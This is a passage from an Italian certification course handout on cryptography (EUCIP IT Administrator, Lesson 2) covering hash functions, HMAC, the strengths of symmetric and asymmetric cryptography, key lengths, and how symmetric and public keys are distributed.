blica e dalle condizioni iniziali. Un esempio di utilizzo
dellECC nella ECDSA, una variante pi efficiente del
DSA basata sulle curve ellittiche.
Riferimenti bibliografici:
Handbook of Applied Cryptography, A. Menezes, P. van
Oorschot, S. Vanstone, 1996.
Scaricabile in Pdf da www.cacr.math.uwaterloo.ca/hac
Applied Cryptography, Bruce Schneier, Second Edition,
1996
Cryptography and Network Security, William Stallings,
Third Edition, 2002
Internet Cryptography, Richard Smith, 1997
Funzioni di hash e digest
Un hash un numero binario di lunghezza fissa, ri-
cavato da un input (file, messaggio, blocco di dati ec-
www.pcopen.it 27
5.2.3.2 Conoscere
i principali standard
di crittografia a
chiave pubblica
Scambio della chiave
segreta con cifratura
asimmetrica RSA.
Alessandro e Bruno
vogliono scambiare
messaggi cifrati con
crittografia simmetrica.
Bruno manda ad
Alessandro la sua chiave
pubblica RSA ed
Alessandro la usa per
cifrare la chiave segreta
casuale per la sessione
che spedisce a Bruno in
modo sicuro. Bruno
decifra la chiave segreta
usando la sua chiave
privata RSA e quindi la
usa per cifrare il
messaggio. Alessandro
usa la chiave segreta
che ha generato per
decifrare il messaggio di
Bruno
ITAdministrator - Sicurezza informatica Lezione 2
cetera) di lunghezza variabile, che funge da impronta
del dato di partenza. Lanalogia con limpronta digita-
le pertinente, perch compatta, pu essere facil-
mente archiviata, trasmessa ed elaborata elettronica-
mente e consente didentificare un individuo senza che
da essa si possa risalire alle caratteristiche fisiche del-
la persona.
In modo simile, sottoponendo un documento elet-
tronico a un algoritmo di hash, si ottiene un dato di pic-
cole dimensioni (tipicamente 128 o 160 bit) che iden-
tifica il documento senza permettere di risalire al suo
contenuto. Il codice di hash risultante dallapplicazio-
ne di una funzione di hash a un documento, viene chia-
mato hash, digest o impronta informatica del docu-
mento.
Per essere efficace, un algoritmo di hash deve sod-
disfare i seguenti requisiti:
- pu essere applicato a dati di qualunque dimensione
- produce un risultato di lunghezza fissa
- il codice di hash relativamente facile da calcolare
per qualsiasi input, rendendone pratica limplemen-
tazione hardware e software
- per qualsiasi codice di hash h, non praticamente
possibile trovare un dato di input tale per cui lalgo-
ritmo produca h come risultato (lalgoritmo cio a
senso unico)
- per qualunque dato di input x, non praticamente
possibile trovare un dato y diverso da x per cui lal-
goritmo produca lo stesso codice di hash (resistenza
debole alle collisioni)
- praticamente impossibile trovare una coppia di da-
ti (x, y) tale per cui lalgoritmo produca lo stesso co-
dice di hash quando applicato a x e a y (resistenza
forte alle collisioni)
- come corollario, la modifica di qualsiasi bit del dato
di input produce una modifica del codice di hash; an-
che la trasposizione di due bit, che non modifiche-
rebbe una checksum (somma di controllo) per il con-
trollo di parit, modifica il valore dellhash.
Lespressione non praticamente possibile signi-
fica che non computazionalmente fattibile con le tec-
nologie correnti e con quelle prevedibili nei prossimi
anni.
Un esempio di applicazione consiste nel calcolare
lhash di un messaggio e inviarlo, cifrato insieme al
messaggio, in modo che il destinatario, ricalcolando
lhash dei dati con lo stesso algoritmo di hashing, pos-
sa verificare lintegrit dei dati ricevuti. Inoltre, se lha-
sh stato cifrato con la chiave privata del mittente, la
verifica (decifratura dellhash tramite chiave pubblica
del mittente e confronto con lhash ricalcolato sul mes-
saggio ricevuto) serve anche per stabilire lautenticit
del mittente.
Un altro esempio di utilizzo offerto dai Message
Authentication Code (MAC), calcolati come hash del
messaggio con aggiunta di una chiave segreta condivi-
sa (simmetrica).
Il messaggio viene spedito con il MAC aggiunto in
coda. Il destinatario separa il MAC dai dati, aggiunge la
chiave segreta e ricalcola il MAC. Se i due MAC coinci-
dono, il destinatario sa che i dati sono integri. Luso del
MAC permette la verifica dellintegrit solo a chi in
possesso della chiave segreta. Inoltre, se qualcuno mo-
dificasse il messaggio, non potrebbe ricalcolarne il
MAC senza avere la chiave segreta, quindi la modifica
verrebbe scoperta.
Questa tecnica viene chiamata keyed hashing (ha-
shing con chiave).
Il MAC assicura che il messaggio non stato altera-
to e che proviene dal mittente dichiarato (nessun altro
possiede la chiave segreta) si tratta quindi di unau-
tenticazione indiretta e non forte (visto che la chiave
nel possesso di due persone e perci non possibile
stabilire con assoluta certezza quale delle due abbia
generato il messaggio e il relativo hash). Inoltre, se il
messaggio include un numero di sequenza, il destina-
tario ha anche la certezza che la sequenza non sia sta-
ta alterata.
Un MAC pu essere usato per lautenticazione del
messaggio (come nellesempio) o per lautenticazione
e la riservatezza (tramite cifratura). Questultima pu
essere realizzata calcolando il MAC sul messaggio in
chiaro pi la chiave e poi cifrando il messaggio pi il
MAC generato prima usando la medesima chiave, op-
pure, viceversa, cifrando prima il messaggio e succes-
sivamente calcolando il MAC su messaggio gi cifrato
www.pcopen.it 28
Un esempio duso delle
funzioni di hash nel
calcolo di un Message
Authentication Code, che
consente al destinatario
di verificare la sola
integrit dei dati ricevuti.
I dati vengono trasmessi
in chiaro in abbinamento
a un MAC (MD5, SHA-1 o
successivi) che stato
calcolato unendo il
messaggio e la chiave
segreta
possibile utilizzare il
MAC in abbinamento alla
cifratura per garantire sia
la riservatezza sia
lintegrit del messaggio.
Lapproccio duplice
1) si cifra il messaggio
con la chiave segreta e
quindi si aggiunge lhash
o digest calcolato con la
stessa chiave, oppure si
calcola lhash sul
messaggio in chiaro e poi
si cifra messaggio pi
hash con la chiave
segreta
Lezione 2 IT Administrator - Sicurezza informatica
pi la chiave.
Il keyed hashing pu essere usato anche per fornire
lautenticazione a un messaggio di tipo stream (flusso
continuo), dividendo lo stream in blocchi e calcolando
il MAC di ogni blocco. I MAC diventano parte dello
stream e servono per verificare lintegrit dei dati ri-
cevuti. Luso degli hash molto pi rapido rispetto al-
la generazione delle firme digitali, un altro campo di
applicazione delle funzioni di hash.
Un tipo speciale di MAC chiamato HMAC ed spe-
cificato nella RFC 2104. HMAC anchessa una funzio-
ne keyed hash, ma in realt costituisce un keyed hash
allinterno di un keyed hash.
Pu utilizzare qualsiasi algoritmo di hash, come SHA
e MD5, prendendo il nome di HMAC-SHA o HMAC-MD5.
HMAC, dal punto di vista crittografico, pi robusto
della sola funzione di hash di base, come stato di-
mostrato da un attacco riuscito contro MD5 (una col-
lisione creata trovando due input che producono lo
stesso hash), mentre HMAC-MD5 non stato vulnera-
bile a tale attacco.
Indicando con H lalgoritmo di hash utilizzato, M il
messaggio e K la chiave, la funzione HMAC definita
come:
HMAC (K, M) = H (K XOR opad, H (K XOR ipad, M))
dove ipad un array di 64 elementi di valore 0x36
(36 in esadecimale) e opad un array di 64 elementi di
valore 0x5C.
Tutta lautenticazione dei messaggi in IPSEC (una fa-
miglia di protocolli utilizzata per trasmissioni sicure su
Internet) avviene tramite HMAC.
Principali algoritmi di hash
Fra i numerosi algoritmi di hash riportati in lettera-
tura, tre sono quelli pi utilizzati per le loro caratteri-
stiche di efficienza e sicurezza: MD5, SHA-1 e RIPEMD-
160.
MD5, evoluzione di MD4, stato sviluppato da Ron
Rivest allMIT nel 1991 ed descritto nella RFC 1321
(www.ietf.org/rfc).
MD5 molto popolare, ma la crescita della potenza
di calcolo e i primi successi degli attacchi sia basati su
forza bruta sia di tipo crittoanalitico (basati sullanali-
si dellalgoritmo) inducono a considerare MD5 vulne-
rabile e hanno suggerito lo sviluppo di nuovi algoritmi
con un output pi lungo dei 128 bit di MD5 e con ca-
ratteristiche specifiche per resistere agli attacchi crit-
toanalitici.
SHA-1 stato sviluppato dal NIST ed stato pubbli-
cato come standard federale USA nel 1993 con il nome
di Secure Hash Algorithm (SHA, FIPS 180) e riveduto
nel 1995 come SHA-1 (FIPS180-1). SHA-1 specificato
anche nella RFC 3174 che, rispetto al FIPS 180-1, inclu-
de anche unimplementazione in C.
SHA-1 riceve in input un messaggio di lunghezza
massima inferiore a 264 bit (una dimensione equiva-
lente a 2.147 Gbyte e perci praticamente illimitata),
suddiviso in blocchi di 512 bit, e produce un hash di
160 bit. Sia SHA-1 sia MD5 derivano da MD4, ma SHA-1
notevolmente pi robusto grazie ai 32 bit aggiuntivi
dellhash, che rendono molto pi arduo un attacco di
tipo forza bruta. Sul fronte degli attacchi crittoanaliti-
ci, MD5 ha iniziato a mostrarsi vulnerabile fin dai pri-
mi anni di vita, mentre SHA-1 non risulta vulnerabile al-
lo stesso tipo di attacchi.
Nel frattempo sono state specificate le evoluzioni di
SHA-1 a 224 bit (RFC 3874) e a 256, 384 e 512 bit di ha-
sh, talvolta chiamate ufficiosamente SHA-2 e annun-
ciate dal FIPS 180-2. I rispettivi standard si chiamano
SHA-224, SHA-256, SHA-384 e SHA-512.
RIPEMD-160 stato sviluppato nellambito del pro-
getto European RACE Integrity Primitives Evaluation
(RIPE) da un gruppo di ricercatori che avevano conse-
guito parziali successi nellattaccare MD4 e MD5.
Inizialmente gli autori svilupparono una versione a
128 bit, ma visto che era possibile attaccare due fasi di
elaborazione, decisero di espanderla a 160 bit. Lalgo-
ritmo descritto nella norma ISO/IEC 10118-3:1998
Information technology - Security techniques - Hash
functions - Part 3: Dedicated hash-functions (ISO,
1998).
Anche RIPEMD-160 deriva da MD4 e ha molte analo-
gie con MD5 e SHA-1. Alla pari di SHA-1, molto resi-
stente ad attacchi di vario tipo; lulteriore complessit
rispetto a SHA-1 dovrebbe rendere RIPEMD-160 anco-
ra pi protetto da attacchi crittoanalitici, bench pi
lento in esecuzione.
Glossario di crittografia
Algoritmo (o cifrario):
un insieme di regole logiche e matematiche usate nel-
la cifratura e nella decifratura.
Chiave: la sequenza segreta di bit che governa latto
della cifratura o della decifratura.
Crittografia:
la scienza della scrittura nascosta (o segreta) che per-
mette di memorizzare e trasmettere dati in una forma
utilizzabile solo dagli individui a cui essi sono destina-
ti.
Crittosistema:
limplementazione hardware o software della critto-
grafia, che trasforma un messaggio in chiaro (plain-
text) in un messaggio cifrato (ciphertext) e poi di nuo-
vo nel messaggio in chiaro originario.
Crittoanalisi:
la pratica di ottenere il messaggio in chiaro dal mes-
saggio cifrato senza disporre della chiave o senza sco-
prire il sistema di cifratura.
Crittologia:
lo studio della crittografia e della crittoanalisi.
Testo cifrato (ciphertext):
dati in forma cifrata o illeggibile.
Cifrare o cifratura:
lazione di trasformare i dati in formato illeggibile.
Decifrare o decifratura:
lazione di trasformare i dati in formato leggibile.
Keyspace (spazio delle chiavi):
linsieme di tutti i possibili valori che una chiave pu
assumere.
Testo in chiaro (plaintext o cleartext):
dati in forma leggibile o intelligibile.
Work factor (fattore di lavoro):
il tempo, lo sforzo e le risorse che si stimano necessa-
ri per violare un crittosistema.
www.pcopen.it 29
5.2.4.2 Conoscere
i principali standard
delle funzioni di
hashing
ITAdministrator - Sicurezza informatica Lezione 2
www.pcopen.it 30
R
iassumiamo i principali caratteri distintivi dei due mo-
delli di crittografia. Nella prima parte della lezione 2
abbiamo visto in dettaglio le differenze tra crittogra-
fia simmetrica (a chiave segreta) e crittografia asimmetri-
ca (a chiave pubblica e privata). Rivediamoli brevemente.
Simmetrica: 1) migliori prestazioni, 2) adatta per cifrare
messaggi lunghi, 3) chiavi brevi, 4) pone il problema della
distribuzione delle chiavi, 5) facile uso con PRGN (Pseudo-
Random Number Generator) e funzioni di hash, 6) utilizza-
bili come componenti di uno schema ad alta sicurezza, 7)
lunga storia, 8) tecnologia collaudata
Asimmetrica: 1) chiavi molto lunghe, 2) cattive presta-
zioni, 3) adatta per cifrare dati brevi, 4) risolve il problema
della distribuzione delle chiavi, 5) la chiave pu essere au-
tenticata; 6) le chiavi pubbliche possono essere accessibi-
li pubblicamente, presso terze parti fidate, 7) vita pi lun-
ga delle chiavi, 8) utilizzabile per la firma digitale, 9) storia
breve (anni 70)
PRNG significa Pseudo-Random Number Generator (ge-
neratore di numeri pseudo-casuali), una funzione che tra i
vari impieghi include la generazione di chiavi simmetriche
di sessione.
Per la lunghezza delle chiavi, Schneier, in Applied Cryp-
tography (scritto nel 1995), raccomandava almeno 112 bit
per le chiavi simmetriche (come nel 3DES a due chiavi) e
prevedeva, per il periodo 2005-2010, la necessit di usare
chiavi asimmetriche lunghe 1.280, 1.536 o 2.048 bit rispet-
tivamente per utilizzo personale, aziendale o governativo.
Secondo le linee guida del NIST (Key Management Guideli-
ne, novembre 2001), una chiave 3DES di 112 bit ha la robu-
stezza di una chiave RSA di 2.048 bit, mentre una chiave
AES di 256 bit equivale a una chiave RSA di 15.360 bit.
Vantaggi della crittografia simmetrica
- utilizza algoritmi molto veloci, che possono cifrare/deci-
frare grandi quantit di dati per secondo, dellordine del-
le centinaia di MByte al secondo.
Applicazioni pratiche delle pi moderne tecniche di crittografia e
dei protocolli che regolano le transazioni on-line. La lezione, oltre
a essere un requisito per il conseguimento della certificazione
ufficiale EUCIP IT Administrator Sicurezza Informatica, valida
in tutta Europa, spiega come condurre operazioni sicure
mediante il PC garantendo riservatezza, integrit e autenticit
dei documenti e delle persone in gioco, oltre che il non ripudio
delle decisioni concordate. I contenuti si articolano in quattro
elementi: un articolo sintetico
sulla rivista che riepiloga solo
i concetti essenziali, larticolo
completo in formato PDF e un
corso multimediale completo
su CD e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
Certificazione EUCIP
IT Administrator
Modulo 5 -
IT Security
Sicurezza informatica
"AICA Licenziataria
esclusiva in Italia del
programma EUCIP
(European Certification
of Informatic
Professionals), attesta
che il materiale didattico
validato copre
puntualmente e
integralmente gli
argomenti previsti nel
Syllabus IT Administrator
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
autorizza sul presente
materiale didattico l'uso
del marchio EUCIP,
registrato da EUCIP Ltd
e protetto dalle leggi
vigenti"
Obiettivo del corso IT Administrator
Sicurezza Informatica
Fornire al lettore familiarit con i vari modi di
proteggere i dati sia su un singolo PC sia in una LAN
connessa a Internet. In particolare, metterlo nelle
condizioni di proteggere i dati aziendali contro
perdite, attacchi virali e intrusioni. Inoltre, metterlo
nelle condizioni di conoscere e utilizzare le utility e i
programmi pi comuni destinati a tali scopi. Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.2.5. Confronto tra
i metodi di cifratura
5.2.5.1 Vantaggi e
svantaggi della
crittografia
simmetrica e
asimmetrica
I contenuti delle 8 lezioni
Lezione 1: Informazioni generali
Lezione 2: parte 1Crittografia -
fondamenti e algoritmi
Lezione 2: parte 2Crittografia -
applicazioni
Lezione 3: Autenticazione
e controllo degli accessi
Lezione 4: Disponibilit
Lezione 5: Codice maligno
Lezione 6: Infrastruttura a chiave pubblica
Lezione 7: Sicurezza della rete
Lezione 8: Aspetti sociali, etici e legali della
sicurezza informatica
In collaborazione
con:
Applicazioni della crittografia
Firma elettronica e
certificati digitali per
le operazioni elettroniche
www.pcopen.it 31
Lezione 2 IT Administrator - Sicurezza informatica
5.2.5.2 Saper
distinguere tra i
diversi livelli di
sicurezza e il relativo
peso
- pu cifrare e decifrare messaggi e documenti di lunghez-
za illimitata
- le chiavi utilizzate sono relativamente brevi; AES, per
esempio, utilizza chiavi di 128, 192 o 256 bit (la scelta del-
la lunghezza della chiave dipende dai requisiti di sicurez-
za presente e futura)
- gli algoritmi a chiave simmetrica possono essere integra-
ti nella realizzazione di schemi di cifratura pi complessi,
insieme a funzioni hash e a generatori PRNG
- pi algoritmi simmetrici, non abbastanza robusti se uti-
lizzati singolarmente, possono essere combinati per otte-
nere schemi di cifratura di notevole robustezza (come nel
caso di 3DES costruito utilizzando lormai superato DES)
- la crittografia simmetrica si sviluppata in un lungo arco
di tempo e utilizza meccanismi ben studiati e collaudati.
Vantaggi della crittografia asimmetrica
- un utente deve conservare solo una chiave privata, men-
tre la chiave pubblica resa disponibile a tutti (anche se
richiede lonere della certificazione per essere ritenuta au-
tentica)
- per la gestione delle chiavi sulla rete sufficiente la pre-
senza di una CA (Autorit di certificazione) affidabile, ma
non necessariamente sempre online
- la coppia chiave privata/chiave pubblica pu restare in-
variata per lunghi periodi di tempo (anche anni, se il tipo
dimpiego non critico)
- in una rete di grandi dimensioni, necessario un numero
di chiavi limitato (proporzionale al numero di utenti, an-
zich in relazione quadratica come nel caso di chiavi sim-
metriche)
Problemi della crittografia simmetrica
- la chiave usata per la cifratura e decifratura da una coppia
di interlocutori deve restare segreta ed essere cambiata di
frequente; la soluzione migliore la generazione di una
chiave casuale per ogni sessione di comunicazione abbi-
nata a uno dei meccanismi di scambio sicuro delle chiavi
- in una rete con N utenti, a meno che si usino chiavi di ses-
sione, il numero di chiavi simmetriche pari a N(N-1)/2; se
gestite da una terza parte fidata, ne farebbero il punto de-
bole del sistema
I due interlocutori devono avere un canale sicuro per
scambiarsi la chiave segreta; una soluzione efficace utiliz-
za i meccanismi di scambio delle chiavi che hanno dato vi-
ta alla crittografia asimmetrica (vedi lesempio alla sezione
5.2.3.1 - Principi di crittografia asimmetrica).
Problemi della crittografia asimmetrica
- richiede una modalit di autenticazione delle chiavi pub-
bliche
- gli algoritmi di cifratura sono lenti (tipicamente mille vol-
te pi lenti rispetto ai simmetrici)
- applicabile a dati di breve lunghezza (inferiore alla lun-
ghezza della chiave)
- le chiavi asimmetriche sono di lunghezza decisamente
maggiore rispetto alle chiavi simmetriche (non meno di
1.024 bit)
- nessun metodo utilizzato dagli algoritmi asimmetrici (co-
me la fattorizzazione del prodotto di numeri primi o il cal-
colo del logaritmo discreto) stato matematicamente di-
mostrato essere sicuro; la loro sicurezza si basa sulle-
strema difficolt, con i mezzi correnti, di risolvere deter-
minati problemi della teoria dei numeri
- nel 2003 lufficio federale tedesco per la sicurezza infor-
matica ha violato il metodo di fattorizzazione alla base di
RSA per numeri di 174 cifre decimali, corrispondenti a
RSA-576; la crescita della lunghezza delle chiavi potrebbe
dover essere pi rapida del previsto, dopo che il mate-
matico Bernstein, con il suo articolo Circuits for Integer
Factorization del 2001, ha scosso la fiducia nel sistema di
cifratura/decifratuira di RSA e ha teorizzato la vulnerabi-
lit delle chiavi di 1.536 bit (mentre la maggior parte dei si-
stemi, come HTTPS, SSH, IPSec, S/MIME e PGP utilizzano
RSA con chiavi di lunghezza limitata)
Livelli di sicurezza
Dato che non esiste un singolo algoritmo di crittografia
ideale per tutte le occasioni, si dovranno considerare di-
versi fattori nelloperare la scelta dellalgoritmo, o pi spes-
so della combinazione di algoritmi, da utilizzare per una
certa applicazione. Alcuni criteri di base sono i seguenti:
- stima del livello di affidabilit sulla base degli anni di uti-
lizzo, dellanalisi di robustezza, degli attacchi subiti, valu-
tando anche la presumibile durata futura
- dimensione della chiave in base alle esigenze di sicurezza
e alla progressiva estensione della chiave, negli anni, per
preservare la robustezza di un algoritmo
- efficienza di calcolo e consumo di risorse in relazione al-
le piattaforme hardware/software da utilizzare.
Come anche citato in precedenza, la dimensione della
chiave gioca un ruolo fondamentale, riassumibile in due
aspetti:
- nella crittografia simmetrica, DES (con chiave di 56 bit) e
a maggior ragione gli algoritmi a 40 bit sono da conside-
rare obsoleti perch non sicuri e violabili con comuni
computer; necessario utilizzare 3DES o algoritmi con
chiave di almeno 128 bit, come AES
- nella crittografia asimmetrica, chiavi inferiori a 1.024 bit
non offrono pi garanzie sufficienti; sono adeguate le chia-
vi di 1.024 bit per uso personale e durata annuale (comu-
ni nei certificati digitali usati per la posta elettronica) e le
chiavi di 2.048 bit per uso pi generale e durata plurien-
nale.
Sulle categorie di attacco, sui livelli di sicurezza neces-
sari per le categorie di utenza (privata, business, governa-
tiva, eccetera), sulla longevit e robustezza degli algoritmi
e sulla crescita delle chiavi col passare degli anni, si trova
abbondante documentazione, per esempio presso i siti di
NIST e di SANS Institute. Mostriamo due tabelle, una sulla
robustezza equivalente delle chiavi tra diversi algoritmi e
laltra su algoritmi raccomandati e lunghezza minima delle
chiavi, tratte dalla versione 2003 del citato Key Manage-
ment Guideline di NIST, Parte 1 (http://csrc.nist.gov/Cryp-
toToolkit/KeyMgmt.html)
Larticolo A Discussion of the Importance of Key Length
in Symmetric and Asymmetric Cryptography di SANS
(http://www.giac.org/practical/gsec/Lorraine_Williams_GS
EC.pdf) passa in rassegna diverse fonti dinformazione sul-
la lunghezza delle chiavi e include tra laltro due tabelle:
una stima del 1997 sulla lunghezza delle chiavi in funzione
dei tipi di attacco e una stima sulla lunghezza minima del-
le chiavi pubblicata da Schneier nel suo classico Applied
Una mappa della
robustezza delle chiavi
secondo i valori di
equivalenza calcolati
dal NIST
www.pcopen.it 32
ITAdministrator - Sicurezza informatica Lezione 2
Cryptography del 1996. Un decennio di sviluppi hardware
e software, di evoluzioni concettuali e di attacchi andati a
buon fine oltre le previsioni, suggeriscono stime legger-
mente meno ottimistiche e il frequente aggiornamento del
rapporto tra livelli di sicurezza e algoritmi e lunghezza del-
le chiavi. La prima tabella si riferisce a chiavi asimmetriche,
la seconda a chiavi simmetriche; entrambe sono ottimisti-
che sulla distanza.
Distribuzione delle chiavi
Nei capitoli precedenti abbiamo citato i problemi con-
nessi con la trasmissione e lo scambio di chiavi, derivanti
dalla necessit di mantenere segrete le chiavi simmetriche
e di assicurare lintegrit e lautenticit dei dati trasmessi.
Vediamo in sintesi gli argomenti principali.
Distribuzione delle chiavi simmetriche
Per utilizzare la crittografia simmetrica, i due interlocu-
tori devono disporre della stessa chiave, che deve restare
segreta per chiunque altro. Inoltre, per limitare i danni po-
tenziali di una chiave compromessa, la chiave segreta do-
vrebbe essere sostituita di frequente. Ne consegue che, per
quanto sia robusto il cifrario utilizzato, la sicurezza di un si-
stema crittografico simmetrico dipende dalla tecnica di di-
stribuzione delle chiavi, ossia dai modi di consegnare una
chiave a due interlocutori A e B senza che altri la possano
vedere.
Vediamo alcuni approcci:
1) A sceglie una chiave e la consegna fisicamente a B
2) Una terza parte fidata sceglie una chiave e la consegna
fisicamente ad A e B
3) Se A e B hanno gi usato una chiave di recente, uno di lo-
ro trasmette allaltro la nuova chiave cifrata con quella
vecchia
4) Se A e B hanno una connessione cifrata con una terza
parte C, questa pu consegnare una chiave ad A e B at-
traverso i collegamenti cifrati
Le soluzioni 1 e 2 sono praticabili solo nel caso di due in-
terlocutori che utilizzano un dispositivo di cifratura per ci-
frare il collegamento (tutto ci che passa sulla linea), ma
non sono applicabili a trasmissioni da un punto allaltro di
un sistema distribuito. In una rete, la scala del problema di-
pende dal numero di punti terminali in comunicazione. Se
la cifratura applicata allo strato 3 di rete, vale a dire al pro-
tocollo IP (considerando il modello OSI oppure il modello
TCP/IP) e ci sono N host (computer collegati alla rete), il
numero di chiavi necessarie N(N-1)/2. Se la cifratura vie-
ne eseguita a livello applicativo, serve una chiave per ogni
coppia di utenti o processi in comunicazione, il che ci por-
ta a un ordine di grandezza superiore al numero di host.
Una rete con 1.000 nodi e cifratura a livello di nodo avreb-
be bisogno di distribuire mezzo milioni di chiavi, ma se la
stessa rete avesse 10.000 applicazioni in funzione, ciascu-
na con la propria cifratura delle comunicazioni, le chiavi da
distribuire sarebbero dellordine dei 50 milioni.
La soluzione 3 praticabile sia a livello di collegamento
(link) sia tra i punti di una rete, ma se un nemico si procu-
ra una chiave, avr scoperto tutte le chiavi successive. Per
la cifratura tra punti di una rete, la soluzione 4 la pi uti-
lizzata. Si basa su un Key Distribution Center (KDC, centro
di distribuzione delle chiavi) che, quando necessario, di-
stribuisce una chiave a una coppia di utenti (host, proces-
si o applicazioni). Ogni utente condivide con il KDC una
chiave segreta usata per la distribuzione delle chiavi.
Quando A vuole stabilire una connessione logica con B,
invia al KDC la richiesta di una chiave simmetrica tempo-
ranea (chiave di sessione) da usare nella comunicazione
con B e, per identificare la richiesta in modo univoco (a
scopo di sicurezza), include nonce, ovvero un numero ca-
suale, progressivo o segnatempo, sempre diverso per ogni
richiesta. Il KDC risponde inviando ad A un messaggio ci-
frato con la chiave condivisa tra A e il KDC. Questo mes-
saggio contiene:
1) la chiave di sessione da usare tra A e B
2) il messaggio originale con il nonce per abbinare la ri-
sposta alla richiesta
3) una parte destinata a B e cifrata con la chiave che B con-
divide col KDC, contenente la chiave di sessione e un
identificatore di A (per esempio il suo indirizzo di rete).
Tali contenuti proteggono la riservatezza, lintegrit e
lautenticazione dei dati. A memorizza la chiave di ses-
sione e inoltra a B la chiave di sessione e il proprio iden-
tificatore cifrati con la chiave di B, che solo il KDC po-
trebbe aver confezionato. B usa la chiave di sessione per
inviare ad A un nonce di propria scelta. A, sempre usan-
do la chiave di sessione, risponde a B con qualche tipo
di trasformazione concordata del nonce, che mostra a B
che il messaggio autentico e non una ripetizione usata
per trarlo in inganno.
Questa la traccia di base, soggetta a varianti ed evolu-
zioni (per esempio la gerarchia di KDC e la distribuzione
decentralizzata delle chiavi) per adattarsi alle diverse ap-
plicazioni.
Distribuzione delle chiavi asimmetriche
Consideriamo, per prima cosa, la distribuzione delle
chiavi pubbliche, visto che la chiave privata deve essere
custodita al sicuro sul computer della persona a cui ap-
partiene. La maggior parte delle tecniche di distribuzione
rientra in questi quattro schemi:
1) Annuncio pubblico
2) Directory di pubblico accesso
3) Autorit per le chiavi pubbliche
4) Certificati di chiave pubblica.
Nel caso 1, i partecipanti possono inviare ad altri la chia-
ve, farne il broadcast (totale diffusione) in una comunit,
pubblicare la chiave su una mailing list, su un newsgroup
o su un sito. Il punto debole fondamentale di tale approc-
5.2.5.3 Conoscere i
problemi di
distribuzione delle
chiavi nella
crittografia
simmetrica e
asimmetrica
Algoritmi raccomandati
in funzione della
lunghezza minima delle
chiavi.
Una stima, ottimistica,
della robustezza dei vari
tipi di chiave in funzione
dellattacco subito
pubblicata da SANS
(SysAdmin, Audit,
Network, Security
Institute ) nel 1997
Una stima sulla
lunghezza minima delle
chiavi pubblicata da
Schneier nel 1996
Lezione 2 IT Administrator - Sicurezza informatica
cio che chiunque pu fingere di essere lutente A e invia-
re o pubblicare una chiave pubblica. Prima che A se ne ac-
corga e avvisi gli interessati, limpostore avr letto i mes-
saggi cifrati destinati ad A e avr usato le chiavi fasulle per
lautenticazione.
Il caso 2 consiste nellaffidare la manutenzione e distri-
buzione delle chiavi pubbliche a una terza parte fidata.
Questa entit mantiene una directory con una voce (nome
e chiave pubblica) per ogni partecipante. Ogni parteci-
pante registra la sua chiave pubblica di persona o attra-
verso una comunicazione autenticata; quando lo desidera,
pu sostituire la chiave (per esempio dopo un certo perio-
do duso o perch la chiave privata stata compromessa).
La directory pu essere aggiornata e pubblicata periodi-
camente anche su media off-line. I partecipanti possono ac-
cedere alla directory solo attraverso comunicazioni au-
tenticate dal gestore. Lo schema 2 pi sicuro del caso 1,
ma se un nemico riesce a procurarsi la chiave privata del
gestore della directory, pu iniziare a far circolare false
chiavi pubbliche, a impersonare qualunque partecipante
(impostura) e a intercettare i messaggi diretti ai parteci-
panti. Lo stesso scopo pu essere raggiunto attraverso
unintrusione che riesca ad accedere alle registrazioni te-
nute dal gestore.
Il caso 3 realizzato partendo dal caso 2 ed esercitando
un controllo pi stretto sulla distribuzione delle chiavi pub-
bliche. Ora ogni partecipante conosce la chiave pubblica
dellautorit, la quale lunica a conoscere la propria chia-
ve privata. Vediamo i passi da eseguire quando A vuole co-
municare con B. A invia allautorit la richiesta della chia-
ve pubblica di B e un timestamp con la registrazione tem-
porale (data, ore, minuti, eccetera). Lautorit risponde con
un messaggio cifrato mediante la propria chiave privata,
che contiene la chiave pubblica di B e una copia della ri-
chiesta e del timestamp (A ora dispone della certezza che
il messaggio viene dallautorit, che non stato alterato e
che risponde alla richiesta corrente). A memorizza la chia-
ve pubblica di B e la usa per cifrare un messaggio indiriz-
zato a B contenente un identificatore di A e un nonce N1
usato per identificare la transazione in modo univoco. B
contatta lautorit per ricevere la chiave di A (invia la ri-
chiesta e il timestamp). Lautorit risponde a B inviando, ci-
frati con la propria chiave privata, la chiave di A, la richie-
sta e il timestamp. Ora B risponde ad A cifrando, con la
chiave pubblica di A, il nonce N1 ricevuto da A e un nuovo
nonce N2 generato da B. Per finire, A invia a B un messag-
gio di conferma, cifrato con la chiave di B, contenete il non-
ce N2. I quattro messaggi con cui A e B si procurano le chia-
vi pubbliche del loro interlocutore avvengono raramente,
mentre la comunicazione tra A e B avviene per un certo pe-
riodo di tempo utilizzando le chiavi ricevute, in base alle
stime e ai requisiti di sicurezza.
Un punto debole di questo schema la centralizzazione
dellautorit, a cui gli utenti devono rivolgersi ogni volta
che vogliono usare la chiave pubblica di un altro utente,
creando un conseguente collo di bottiglia. Inoltre, come nel
caso 2, la directory dei nomi e delle chiavi pubbliche sog-
getta a intrusioni e manomissioni.
Il caso 4 prevede luso dei public-key certificate, ossia
certificati di chiave pubblica (chiamati anche certificati a
chiave pubblica). I certificati servono agli utenti per scam-
biare le chiavi pubbliche senza dover contattare unauto-
rit, ma con lo stesso grado di sicurezza che si avrebbe se
le chiavi fossero fornite direttamente dallautorit che am-
ministra la directory. Ogni certificato contiene la chiave
pubblica e varie informazioni; creato da una Certification
Authority ed consegnato allutente. Un utente A trasmet-
te la propria chiave pubblica a un utente B inviandogli il
certificato; B verifica che il certificato sia stato creato dal-
lautorit dei certificati.
Lo schema 4 funziona in questo modo: un utente A ri-
chiede alla CA (di persona o via comunicazione autentica-
ta) un certificato, fornendo la propria chiave pubblica; la
CA risponde ad A con un messaggio cifrato con la propria
chiave privata e contenente il tempo, lidentificatore di A e
la sua chiave pubblica; A trasmette il certificato (cifrato) a
B; B decifra il certificato ricevuto usando la chiave pubbli-
ca della CA, accertando cos che il certificato di A provie-
ne dalla CA e verificando lintegrit e la validit dei conte-
nuti (tempo, identit di A e chiave di A). B pu ripetere le
stesse operazioni e inviare ad A il proprio certificato, ci-
frato dalla CA in modo da garantirne la sicurezza. In questo
schema, il tempo contenuto nel certificato determina il li-
mite di validit; se la chiave privata di un utente viene com-
promessa e il titolare, dopo la notifica alla CA, non riesce ad
avvisare tutti gli interessati, il certificato cessa di valere tra-
scorso un certo tempo dal timestamp.
In questo schema, descritto da Stallings in Crypto-
graphy and Network Security, vediamo un antesignano dei
moderni certificati digitali, che hanno struttura e utilizzo di-
